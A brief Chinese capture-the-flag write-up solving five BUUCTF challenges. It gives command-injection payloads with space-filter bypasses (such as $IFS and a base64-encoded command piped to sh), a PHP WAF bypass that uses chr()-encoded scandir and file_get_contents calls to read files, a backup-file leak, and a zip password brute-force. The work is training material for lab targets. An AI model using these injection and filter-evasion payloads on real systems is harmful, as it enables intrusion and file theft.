BUUCTF-Writeup2

BUUCTF-Writeup2

1.[GXYCTF2019]Ping Ping Ping

拿到题目后根据提示随便ping一下看一下文件信息

我们直接试着抓一下flag
/?ip=127.0.0.1|cat flag

应该是过滤了一些字符，过滤空格我们可以用一下方式代替

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

看一下index.php
过滤了很多东西但是没过滤sh

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

拿到flag

2.[RoarCTF 2019]Easy Cala

F12
提示上了waf并在calc.php中显示waf规则

php的解析规则，当php进行解析的时候，如果变量前面有空格，会去掉前面的空格再解析，那么我们就可以利用这个特点绕过waf。

如果waf不允许传递num变量，我们在前面加一个空格，我们的变量就不是“num”而是“ num”，但是在php解析的时候会把空格解析掉，这样我们的代码可以正常运行还上传了非法字符
首先我们要先扫根目录下的所有文件

? num=1;var_dump(scandir(chr(47)))

找到flag文件位置
读取即可

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

3.[ACTF2020 新生赛]BackupFile

根据提示下载备份文件
/index.php.bak
读代码发现是php弱类型比较
get key=123即可

4.金三胖

逐帧查看gif即可

5.二维码

扫描二维码并没有得到flag，更改后缀为zip暴力破解四位密码即可